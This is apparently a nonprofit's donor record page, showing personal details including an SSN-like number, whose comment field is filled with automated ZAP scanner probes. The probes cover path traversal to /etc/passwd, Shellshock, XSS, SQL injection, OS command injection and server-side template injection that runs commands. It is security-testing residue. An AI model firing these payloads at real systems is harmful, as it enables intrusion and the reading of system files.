Donor Record: James Worthington

Personal Information

Full Name
James Worthington
Email
j.worthington@donor.nature.org
Donor ID
DNR-40201
Date of Birth
1953-01-30
SSN
321-54-9876
Giving Level
Annual Member

Status

Membership Status
lapsed
Lifetime Giving
15000

API Access

JSON: /api/records/4

Donation History

IDDescriptionCategoryAmountPeriod
GFT-2025-0887Annual Fund - North America GrasslandsUnrestricted5000Q4 2025

Comments & Notes

ZAP — 8/20/2026, 4:04:40 PM
c:/Windows/system.ini — 8/20/2026, 4:09:17 PM
../../../../../../../../../../../../../../../../Windows/system.ini — 8/20/2026, 4:09:17 PM
c:\Windows\system.ini — 8/20/2026, 4:09:17 PM
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini — 8/20/2026, 4:09:17 PM
/etc/passwd — 8/20/2026, 4:09:17 PM
../../../../../../../../../../../../../../../../etc/passwd — 8/20/2026, 4:09:17 PM
/ — 8/20/2026, 4:09:17 PM
../../../../../../../../../../../../../../../../ — 8/20/2026, 4:09:17 PM
c:/ — 8/20/2026, 4:09:17 PM
c:\ — 8/20/2026, 4:09:17 PM
WEB-INF/web.xml — 8/20/2026, 4:09:17 PM
WEB-INF\web.xml — 8/20/2026, 4:09:17 PM
/WEB-INF/web.xml — 8/20/2026, 4:09:17 PM
\WEB-INF\web.xml — 8/20/2026, 4:09:17 PM
thishouldnotexistandhopefullyitwillnot — 8/20/2026, 4:09:17 PM
ZAP — 8/20/2026, 4:09:17 PM
c:/Windows/system.ini
ZAP — 8/20/2026, 4:09:17 PM
../../../../../../../../../../../../../../../../Windows/system.ini
ZAP — 8/20/2026, 4:09:17 PM
c:\Windows\system.ini
ZAP — 8/20/2026, 4:09:17 PM
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini
ZAP — 8/20/2026, 4:09:17 PM
/etc/passwd
ZAP — 8/20/2026, 4:09:17 PM
../../../../../../../../../../../../../../../../etc/passwd
ZAP — 8/20/2026, 4:09:17 PM
/
ZAP — 8/20/2026, 4:09:17 PM
../../../../../../../../../../../../../../../../
ZAP — 8/20/2026, 4:09:18 PM
c:/
ZAP — 8/20/2026, 4:09:18 PM
c:\
ZAP — 8/20/2026, 4:09:18 PM
WEB-INF/web.xml
ZAP — 8/20/2026, 4:09:18 PM
WEB-INF\web.xml
ZAP — 8/20/2026, 4:09:18 PM
/WEB-INF/web.xml
ZAP — 8/20/2026, 4:09:18 PM
\WEB-INF\web.xml
ZAP — 8/20/2026, 4:09:18 PM
thishouldnotexistandhopefullyitwillnot
http://www.google.com/ — 8/20/2026, 4:09:22 PM
http://www.google.com:80/ — 8/20/2026, 4:09:22 PM
http://www.google.com — 8/20/2026, 4:09:22 PM
http://www.google.com/search?q=ZAP — 8/20/2026, 4:09:22 PM
http://www.google.com:80/search?q=ZAP — 8/20/2026, 4:09:22 PM
www.google.com/ — 8/20/2026, 4:09:22 PM
www.google.com:80/ — 8/20/2026, 4:09:22 PM
www.google.com — 8/20/2026, 4:09:22 PM
www.google.com/search?q=ZAP — 8/20/2026, 4:09:22 PM
www.google.com:80/search?q=ZAP — 8/20/2026, 4:09:22 PM
ZAP — 8/20/2026, 4:09:22 PM
http://www.google.com/
ZAP — 8/20/2026, 4:09:22 PM
http://www.google.com:80/
ZAP — 8/20/2026, 4:09:22 PM
http://www.google.com
ZAP — 8/20/2026, 4:09:23 PM
http://www.google.com/search?q=ZAP
ZAP — 8/20/2026, 4:09:23 PM
http://www.google.com:80/search?q=ZAP
ZAP — 8/20/2026, 4:09:23 PM
www.google.com/
ZAP — 8/20/2026, 4:09:23 PM
www.google.com:80/
ZAP — 8/20/2026, 4:09:23 PM
www.google.com
ZAP — 8/20/2026, 4:09:23 PM
www.google.com/search?q=ZAP
ZAP — 8/20/2026, 4:09:23 PM
www.google.com:80/search?q=ZAP
() { :;}; echo 'x-powered-by: ShellShock-Vulnerable' — 8/20/2026, 4:09:26 PM
() { :;}; /bin/sleep 15 — 8/20/2026, 4:09:26 PM
ZAP — 8/20/2026, 4:09:26 PM
() { :;}; echo 'x-powered-by: ShellShock-Vulnerable'
ZAP — 8/20/2026, 4:09:26 PM
() { :;}; /bin/sleep 15
Anonymous — 8/20/2026, 4:09:38 PM
Anonymous — 8/20/2026, 4:09:38 PM
8234519170255897656.owasp.org — 8/20/2026, 4:09:43 PM
https://8234519170255897656.owasp.org — 8/20/2026, 4:09:43 PM
https://8234519170255897656%2eowasp%2eorg — 8/20/2026, 4:09:43 PM
5;URL='https://8234519170255897656.owasp.org' — 8/20/2026, 4:09:43 PM
URL='http://8234519170255897656.owasp.org' — 8/20/2026, 4:09:43 PM
https://8234519170255897656.owasp.org/?ZAP — 8/20/2026, 4:09:43 PM
5;URL='https://8234519170255897656.owasp.org/?ZAP' — 8/20/2026, 4:09:43 PM
https://\8234519170255897656.owasp.org — 8/20/2026, 4:09:43 PM
http://\8234519170255897656.owasp.org — 8/20/2026, 4:09:43 PM
ZAP — 8/20/2026, 4:09:43 PM
8234519170255897656.owasp.org
ZAP — 8/20/2026, 4:09:43 PM
https://8234519170255897656.owasp.org
ZAP — 8/20/2026, 4:09:43 PM
https://8234519170255897656%2eowasp%2eorg
ZAP — 8/20/2026, 4:09:43 PM
5;URL='https://8234519170255897656.owasp.org'
ZAP — 8/20/2026, 4:09:43 PM
URL='http://8234519170255897656.owasp.org'
ZAP — 8/20/2026, 4:09:43 PM
https://8234519170255897656.owasp.org/?
ZAP — 8/20/2026, 4:09:43 PM
5;URL='https://8234519170255897656.owasp.org/?'
ZAP — 8/20/2026, 4:09:43 PM
https://\8234519170255897656.owasp.org
ZAP — 8/20/2026, 4:09:43 PM
http://\8234519170255897656.owasp.org
<!--#EXEC cmd="ls /"--> — 8/20/2026, 4:09:47 PM
"><!--#EXEC cmd="ls /"-->< — 8/20/2026, 4:09:47 PM
<!--#EXEC cmd="dir \"--> — 8/20/2026, 4:09:47 PM
"><!--#EXEC cmd="dir \"-->< — 8/20/2026, 4:09:47 PM
ZAP — 8/20/2026, 4:09:47 PM
ZAP — 8/20/2026, 4:09:47 PM
"><
ZAP — 8/20/2026, 4:09:47 PM
ZAP — 8/20/2026, 4:09:47 PM
"><
0W45pz4p — 8/20/2026, 4:09:50 PM
</strong><scrIpt>alert(1);</scRipt><strong> — 8/20/2026, 4:09:50 PM
</strong><scrIpt>alert(1);</scRipt><strong> — 8/20/2026, 4:09:50 PM
</strong><img src=x onerror=prompt()><strong> — 8/20/2026, 4:09:50 PM
<img src=x onerror=prompt()> — 8/20/2026, 4:09:50 PM
zApPX12sS — 8/20/2026, 4:09:51 PM
ZAP — 8/20/2026, 4:09:51 PM
zApPX14sS
ZAP — 8/20/2026, 4:09:54 PM
0W45pz4p — 8/20/2026, 4:09:59 PM
</strong><script>alert(1);</script><strong> — 8/20/2026, 4:09:59 PM
<img src=x onerror=alert(1);> — 8/20/2026, 4:09:59 PM
</strong><script>alert(1);</script><strong> — 8/20/2026, 4:09:59 PM
<img src=x onerror=alert(1);> — 8/20/2026, 4:09:59 PM
ZAP — 8/20/2026, 4:09:59 PM
0W45pz4p
ZAP — 8/20/2026, 4:09:59 PM
ZAP — 8/20/2026, 4:10:00 PM
ZAP — 8/20/2026, 4:10:00 PM
' — 8/20/2026, 4:10:03 PM
ZAP' — 8/20/2026, 4:10:03 PM
" — 8/20/2026, 4:10:03 PM
ZAP" — 8/20/2026, 4:10:03 PM
; — 8/20/2026, 4:10:03 PM
ZAP; — 8/20/2026, 4:10:03 PM
'( — 8/20/2026, 4:10:03 PM
ZAP'( — 8/20/2026, 4:10:03 PM
ZAP — 8/20/2026, 4:10:03 PM
ZAP — 8/20/2026, 4:10:03 PM
ZAP AND 1=1 -- — 8/20/2026, 4:10:03 PM
ZAP AND 1=2 -- — 8/20/2026, 4:10:03 PM
ZAP OR 1=1 -- — 8/20/2026, 4:10:03 PM
ZAP' AND '1'='1' -- — 8/20/2026, 4:10:03 PM
ZAP' AND '1'='2' -- — 8/20/2026, 4:10:03 PM
ZAP' OR '1'='1' -- — 8/20/2026, 4:10:03 PM
ZAP UNION ALL select NULL -- — 8/20/2026, 4:10:03 PM
ZAP' UNION ALL select NULL -- — 8/20/2026, 4:10:03 PM
ZAP" UNION ALL select NULL -- — 8/20/2026, 4:10:03 PM
ZAP) UNION ALL select NULL -- — 8/20/2026, 4:10:03 PM
ZAP') UNION ALL select NULL -- — 8/20/2026, 4:10:03 PM
ZAP — 8/20/2026, 4:10:03 PM
ZAP — 8/20/2026, 4:10:03 PM
'
ZAP — 8/20/2026, 4:10:03 PM
'
ZAP — 8/20/2026, 4:10:03 PM
"
ZAP — 8/20/2026, 4:10:03 PM
"
ZAP — 8/20/2026, 4:10:03 PM
;
ZAP — 8/20/2026, 4:10:03 PM
;
ZAP — 8/20/2026, 4:10:03 PM
'(
ZAP — 8/20/2026, 4:10:03 PM
'(
ZAP — 8/20/2026, 4:10:03 PM
ZAP — 8/20/2026, 4:10:03 PM
ZAP — 8/20/2026, 4:10:03 PM
AND 1=1 --
ZAP — 8/20/2026, 4:10:03 PM
AND 1=2 --
ZAP — 8/20/2026, 4:10:03 PM
OR 1=1 --
ZAP — 8/20/2026, 4:10:03 PM
' AND '1'='1' --
ZAP — 8/20/2026, 4:10:03 PM
' AND '1'='2' --
ZAP — 8/20/2026, 4:10:03 PM
' OR '1'='1' --
ZAP — 8/20/2026, 4:10:03 PM
UNION ALL select NULL --
ZAP — 8/20/2026, 4:10:03 PM
' UNION ALL select NULL --
ZAP — 8/20/2026, 4:10:03 PM
" UNION ALL select NULL --
ZAP — 8/20/2026, 4:10:03 PM
) UNION ALL select NULL --
ZAP — 8/20/2026, 4:10:03 PM
') UNION ALL select NULL --
ZAP — 8/20/2026, 4:10:03 PM
ZAP / sleep(15) — 8/20/2026, 4:10:08 PM
ZAP' / sleep(15) / ' — 8/20/2026, 4:10:08 PM
ZAP" / sleep(15) / " — 8/20/2026, 4:10:08 PM
ZAP and 0 in (select sleep(15) ) -- — 8/20/2026, 4:10:08 PM
ZAP' and 0 in (select sleep(15) ) -- — 8/20/2026, 4:10:08 PM
ZAP" and 0 in (select sleep(15) ) -- — 8/20/2026, 4:10:08 PM
ZAP where 0 in (select sleep(15) ) -- — 8/20/2026, 4:10:08 PM
ZAP' where 0 in (select sleep(15) ) -- — 8/20/2026, 4:10:08 PM
ZAP" where 0 in (select sleep(15) ) -- — 8/20/2026, 4:10:08 PM
ZAP or 0 in (select sleep(15) ) -- — 8/20/2026, 4:10:08 PM
ZAP — 8/20/2026, 4:10:08 PM
/ sleep(15)
ZAP — 8/20/2026, 4:10:08 PM
' / sleep(15) / '
ZAP — 8/20/2026, 4:10:08 PM
" / sleep(15) / "
ZAP — 8/20/2026, 4:10:08 PM
and 0 in (select sleep(15) ) --
ZAP — 8/20/2026, 4:10:08 PM
' and 0 in (select sleep(15) ) --
ZAP — 8/20/2026, 4:10:08 PM
" and 0 in (select sleep(15) ) --
ZAP — 8/20/2026, 4:10:08 PM
where 0 in (select sleep(15) ) --
ZAP — 8/20/2026, 4:10:08 PM
' where 0 in (select sleep(15) ) --
ZAP — 8/20/2026, 4:10:08 PM
" where 0 in (select sleep(15) ) --
ZAP — 8/20/2026, 4:10:08 PM
or 0 in (select sleep(15) ) --
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 8/20/2026, 4:10:12 PM
'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 8/20/2026, 4:10:12 PM
"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 8/20/2026, 4:10:12 PM
); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 8/20/2026, 4:10:12 PM
"java.lang.Thread.sleep"(15000) — 8/20/2026, 4:10:12 PM
ZAP / "java.lang.Thread.sleep"(15000) — 8/20/2026, 4:10:12 PM
ZAP' / "java.lang.Thread.sleep"(15000) / ' — 8/20/2026, 4:10:12 PM
ZAP" / "java.lang.Thread.sleep"(15000) / " — 8/20/2026, 4:10:12 PM
ZAP and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') -- — 8/20/2026, 4:10:12 PM
ZAP' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') -- — 8/20/2026, 4:10:12 PM
ZAP — 8/20/2026, 4:10:12 PM
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 8/20/2026, 4:10:12 PM
'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 8/20/2026, 4:10:12 PM
"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 8/20/2026, 4:10:12 PM
); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 8/20/2026, 4:10:12 PM
"java.lang.Thread.sleep"(15000)
ZAP — 8/20/2026, 4:10:12 PM
/ "java.lang.Thread.sleep"(15000)
ZAP — 8/20/2026, 4:10:12 PM
' / "java.lang.Thread.sleep"(15000) / '
ZAP — 8/20/2026, 4:10:12 PM
" / "java.lang.Thread.sleep"(15000) / "
ZAP — 8/20/2026, 4:10:12 PM
and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
ZAP — 8/20/2026, 4:10:12 PM
' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
(DBMS_SESSION.SLEEP(15)) — 8/20/2026, 4:10:16 PM
ZAP / (DBMS_SESSION.SLEEP(15)) — 8/20/2026, 4:10:16 PM
ZAP' / (DBMS_SESSION.SLEEP(15)) / ' — 8/20/2026, 4:10:16 PM
ZAP" / (DBMS_SESSION.SLEEP(15)) / " — 8/20/2026, 4:10:16 PM
ZAP and exists (DBMS_SESSION.SLEEP(15)) -- — 8/20/2026, 4:10:16 PM
ZAP — 8/20/2026, 4:10:16 PM
(DBMS_SESSION.SLEEP(15))
ZAP — 8/20/2026, 4:10:16 PM
/ (DBMS_SESSION.SLEEP(15))
ZAP — 8/20/2026, 4:10:16 PM
' / (DBMS_SESSION.SLEEP(15)) / '
ZAP — 8/20/2026, 4:10:16 PM
" / (DBMS_SESSION.SLEEP(15)) / "
ZAP — 8/20/2026, 4:10:16 PM
and exists (DBMS_SESSION.SLEEP(15)) --
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end — 8/20/2026, 4:10:19 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 8/20/2026, 4:10:19 PM
'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 8/20/2026, 4:10:19 PM
"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 8/20/2026, 4:10:19 PM
ZAP / case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end — 8/20/2026, 4:10:19 PM
ZAP — 8/20/2026, 4:10:19 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
ZAP — 8/20/2026, 4:10:19 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 8/20/2026, 4:10:19 PM
'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 8/20/2026, 4:10:19 PM
"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 8/20/2026, 4:10:19 PM
/ case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
ZAP WAITFOR DELAY '0:0:15' -- — 8/20/2026, 4:10:22 PM
ZAP' WAITFOR DELAY '0:0:15' -- — 8/20/2026, 4:10:22 PM
ZAP" WAITFOR DELAY '0:0:15' -- — 8/20/2026, 4:10:22 PM
ZAP) WAITFOR DELAY '0:0:15' -- — 8/20/2026, 4:10:22 PM
ZAP) ' WAITFOR DELAY '0:0:15' -- — 8/20/2026, 4:10:22 PM
ZAP) " WAITFOR DELAY '0:0:15' -- — 8/20/2026, 4:10:22 PM
ZAP)) WAITFOR DELAY '0:0:15' -- — 8/20/2026, 4:10:22 PM
ZAP)) ' WAITFOR DELAY '0:0:15' -- — 8/20/2026, 4:10:22 PM
ZAP)) " WAITFOR DELAY '0:0:15' -- — 8/20/2026, 4:10:23 PM
ZAP) WAITFOR DELAY '0:0:15' ( — 8/20/2026, 4:10:23 PM
ZAP — 8/20/2026, 4:10:23 PM
WAITFOR DELAY '0:0:15' --
ZAP — 8/20/2026, 4:10:23 PM
' WAITFOR DELAY '0:0:15' --
ZAP — 8/20/2026, 4:10:23 PM
" WAITFOR DELAY '0:0:15' --
ZAP — 8/20/2026, 4:10:23 PM
) WAITFOR DELAY '0:0:15' --
ZAP — 8/20/2026, 4:10:23 PM
) ' WAITFOR DELAY '0:0:15' --
ZAP — 8/20/2026, 4:10:23 PM
) " WAITFOR DELAY '0:0:15' --
ZAP — 8/20/2026, 4:10:23 PM
)) WAITFOR DELAY '0:0:15' --
ZAP — 8/20/2026, 4:10:23 PM
)) ' WAITFOR DELAY '0:0:15' --
ZAP — 8/20/2026, 4:10:23 PM
)) " WAITFOR DELAY '0:0:15' --
ZAP — 8/20/2026, 4:10:23 PM
) WAITFOR DELAY '0:0:15' (
ZAP — 8/20/2026, 4:10:26 PM
";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var=" — 8/20/2026, 4:10:31 PM
';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var=' — 8/20/2026, 4:10:31 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))} — 8/20/2026, 4:10:31 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\ — 8/20/2026, 4:10:31 PM
;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110)); — 8/20/2026, 4:10:31 PM
"+response.write(887,490*893,364)+" — 8/20/2026, 4:10:31 PM
+response.write({0}*{1})+ — 8/20/2026, 4:10:31 PM
response.write(887,490*893,364) — 8/20/2026, 4:10:31 PM
ZAP — 8/20/2026, 4:10:31 PM
";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var="
ZAP — 8/20/2026, 4:10:31 PM
';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var='
ZAP — 8/20/2026, 4:10:31 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}
ZAP — 8/20/2026, 4:10:31 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\
ZAP — 8/20/2026, 4:10:31 PM
;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));
ZAP — 8/20/2026, 4:10:31 PM
"+response.write(800,028*11,923)+"
ZAP — 8/20/2026, 4:10:31 PM
+response.write({0}*{1})+
ZAP — 8/20/2026, 4:10:31 PM
response.write(800,028*11,923)
cat /etc/passwd — 8/20/2026, 4:10:36 PM
ZAP&cat /etc/passwd& — 8/20/2026, 4:10:36 PM
ZAP;cat /etc/passwd; — 8/20/2026, 4:10:36 PM
ZAP"&cat /etc/passwd&" — 8/20/2026, 4:10:36 PM
ZAP";cat /etc/passwd;" — 8/20/2026, 4:10:36 PM
ZAP'&cat /etc/passwd&' — 8/20/2026, 4:10:36 PM
ZAP';cat /etc/passwd;' — 8/20/2026, 4:10:36 PM
type %SYSTEMROOT%\win.ini — 8/20/2026, 4:10:36 PM
ZAP&type %SYSTEMROOT%\win.ini — 8/20/2026, 4:10:36 PM
ZAP|type %SYSTEMROOT%\win.ini — 8/20/2026, 4:10:36 PM
ZAP"&type %SYSTEMROOT%\win.ini&" — 8/20/2026, 4:10:36 PM
ZAP"|type %SYSTEMROOT%\win.ini — 8/20/2026, 4:10:36 PM
ZAP'&type %SYSTEMROOT%\win.ini&' — 8/20/2026, 4:10:36 PM
ZAP'|type %SYSTEMROOT%\win.ini — 8/20/2026, 4:10:36 PM
get-help — 8/20/2026, 4:10:36 PM
ZAP;get-help — 8/20/2026, 4:10:36 PM
ZAP";get-help — 8/20/2026, 4:10:36 PM
ZAP';get-help — 8/20/2026, 4:10:36 PM
ZAP;get-help # — 8/20/2026, 4:10:36 PM
ZAP — 8/20/2026, 4:10:36 PM
cat /etc/passwd
ZAP — 8/20/2026, 4:10:36 PM
&cat /etc/passwd&
ZAP — 8/20/2026, 4:10:36 PM
;cat /etc/passwd;
ZAP — 8/20/2026, 4:10:36 PM
"&cat /etc/passwd&"
ZAP — 8/20/2026, 4:10:36 PM
";cat /etc/passwd;"
ZAP — 8/20/2026, 4:10:36 PM
'&cat /etc/passwd&'
ZAP — 8/20/2026, 4:10:36 PM
';cat /etc/passwd;'
ZAP — 8/20/2026, 4:10:36 PM
type %SYSTEMROOT%\win.ini
ZAP — 8/20/2026, 4:10:36 PM
&type %SYSTEMROOT%\win.ini
ZAP — 8/20/2026, 4:10:36 PM
|type %SYSTEMROOT%\win.ini
ZAP — 8/20/2026, 4:10:36 PM
"&type %SYSTEMROOT%\win.ini&"
ZAP — 8/20/2026, 4:10:36 PM
"|type %SYSTEMROOT%\win.ini
ZAP — 8/20/2026, 4:10:36 PM
'&type %SYSTEMROOT%\win.ini&'
ZAP — 8/20/2026, 4:10:36 PM
'|type %SYSTEMROOT%\win.ini
ZAP — 8/20/2026, 4:10:36 PM
get-help
ZAP — 8/20/2026, 4:10:36 PM
;get-help
ZAP — 8/20/2026, 4:10:36 PM
";get-help
ZAP — 8/20/2026, 4:10:36 PM
';get-help
ZAP — 8/20/2026, 4:10:36 PM
;get-help #
"' — 8/20/2026, 4:10:37 PM
<!-- — 8/20/2026, 4:10:37 PM
]]> — 8/20/2026, 4:10:37 PM
ZAP — 8/20/2026, 4:10:37 PM
"'
ZAP — 8/20/2026, 4:10:37 PM
]]>
zj 3159*6734 zj — 8/20/2026, 4:10:46 PM
zj{9863*5513}zj — 8/20/2026, 4:10:46 PM
zj${5766*3474}zj — 8/20/2026, 4:10:46 PM
zj#{7568*5875}zj — 8/20/2026, 4:10:46 PM
zj{#4132*8160}zj — 8/20/2026, 4:10:46 PM
zj{@5074*1756}zj — 8/20/2026, 4:10:46 PM
zj{{2091*8880}}zj — 8/20/2026, 4:10:46 PM
zj{{=9500*4526}}zj — 8/20/2026, 4:10:46 PM
zj<%=8894*6812%>zj — 8/20/2026, 4:10:46 PM
zj#set($x=5689*2907)${x}zj — 8/20/2026, 4:10:46 PM
zj<p th:text="${9259*7382}"></p>zj — 8/20/2026, 4:10:46 PM
zj{@math key="9310" method="multiply" operand="7905"/}zj — 8/20/2026, 4:10:46 PM
zj{{15420|add:86570}}zj — 8/20/2026, 4:10:46 PM
zj{{print "1510" "7022"}}zj — 8/20/2026, 4:10:46 PM
ZAP — 8/20/2026, 4:10:46 PM
zj 2449*3798 zj
ZAP — 8/20/2026, 4:10:46 PM
zj{7441*1909}zj
ZAP — 8/20/2026, 4:10:46 PM
zj${5169*2279}zj
ZAP — 8/20/2026, 4:10:46 PM
zj#{2639*6683}zj
ZAP — 8/20/2026, 4:10:47 PM
zj{#9173*5900}zj
ZAP — 8/20/2026, 4:10:47 PM
zj{@6096*7114}zj
ZAP — 8/20/2026, 4:10:47 PM
zj{{9033*7513}}zj
ZAP — 8/20/2026, 4:10:47 PM
zj{{=4168*9686}}zj
ZAP — 8/20/2026, 4:10:47 PM
zj<%=2248*8926%>zj
ZAP — 8/20/2026, 4:10:47 PM
zj#set($x=9057*2879)${x}zj
ZAP — 8/20/2026, 4:10:47 PM
zj

zj
ZAP — 8/20/2026, 4:10:47 PM
zj{@math key="9367" method="multiply" operand="9891"/}zj
ZAP — 8/20/2026, 4:10:47 PM
zj{{41280|add:57770}}zj
ZAP — 8/20/2026, 4:10:47 PM
zj{{print "9686" "8852"}}zj
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") } — 8/20/2026, 4:10:51 PM
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15")) #set($null=$proc.waitFor()) ${null} — 8/20/2026, 4:10:51 PM
{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }} — 8/20/2026, 4:10:51 PM
<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%> — 8/20/2026, 4:10:51 PM
#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()} — 8/20/2026, 4:10:51 PM
{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}} — 8/20/2026, 4:10:51 PM
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}} — 8/20/2026, 4:10:51 PM
${__import__("subprocess").check_output("sleep 15", shell=True)} — 8/20/2026, 4:10:51 PM
{{__import__("subprocess").check_output("sleep 15", shell=True)}} — 8/20/2026, 4:10:51 PM
<%=%x(sleep 15)%> — 8/20/2026, 4:10:51 PM
#{%x(sleep 15)} — 8/20/2026, 4:10:51 PM
{system("sleep 15")} — 8/20/2026, 4:10:51 PM
ZAP — 8/20/2026, 4:10:51 PM
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") }
ZAP — 8/20/2026, 4:10:51 PM
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15")) #set($null=$proc.waitFor()) ${null}
ZAP — 8/20/2026, 4:10:51 PM
{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }}
ZAP — 8/20/2026, 4:10:51 PM
<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%>
ZAP — 8/20/2026, 4:10:51 PM
#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()}
ZAP — 8/20/2026, 4:10:51 PM
{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}}
ZAP — 8/20/2026, 4:10:51 PM
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}}
ZAP — 8/20/2026, 4:10:51 PM
${__import__("subprocess").check_output("sleep 15", shell=True)}
ZAP — 8/20/2026, 4:10:51 PM
{{__import__("subprocess").check_output("sleep 15", shell=True)}}
ZAP — 8/20/2026, 4:10:51 PM
<%=%x(sleep 15)%>
ZAP — 8/20/2026, 4:10:51 PM
#{%x(sleep 15)}
ZAP — 8/20/2026, 4:10:51 PM
{system("sleep 15")}
ZAP&sleep 15.0& — 8/20/2026, 4:11:00 PM
ZAP;sleep 15.0; — 8/20/2026, 4:11:05 PM
ZAP"&sleep 15.0&" — 8/20/2026, 4:11:05 PM
ZAP";sleep 15.0;" — 8/20/2026, 4:11:05 PM
ZAP'&sleep 15.0&' — 8/20/2026, 4:11:05 PM
ZAP';sleep 15.0;' — 8/20/2026, 4:11:05 PM
ZAP&timeout /T 15.0 — 8/20/2026, 4:11:05 PM
ZAP|timeout /T 15.0 — 8/20/2026, 4:11:05 PM
ZAP"&timeout /T 15.0&" — 8/20/2026, 4:11:06 PM
ZAP"|timeout /T 15.0 — 8/20/2026, 4:11:06 PM
ZAP'&timeout /T 15.0&' — 8/20/2026, 4:11:06 PM
ZAP'|timeout /T 15.0 — 8/20/2026, 4:11:06 PM
ZAP;start-sleep -s 15.0 — 8/20/2026, 4:11:06 PM
ZAP";start-sleep -s 15.0 — 8/20/2026, 4:11:06 PM
ZAP';start-sleep -s 15.0 — 8/20/2026, 4:11:06 PM
ZAP;start-sleep -s 15.0 # — 8/20/2026, 4:11:06 PM
ZAP — 8/20/2026, 4:11:11 PM
&sleep 15.0&
ZAP — 8/20/2026, 4:11:11 PM
;sleep 15.0;
ZAP — 8/20/2026, 4:11:16 PM
"&sleep 15.0&"
ZAP — 8/20/2026, 4:11:16 PM
";sleep 15.0;"
ZAP — 8/20/2026, 4:11:16 PM
'&sleep 15.0&'
ZAP — 8/20/2026, 4:11:16 PM
';sleep 15.0;'
ZAP — 8/20/2026, 4:11:16 PM
&timeout /T 15.0
ZAP — 8/20/2026, 4:11:16 PM
|timeout /T 15.0
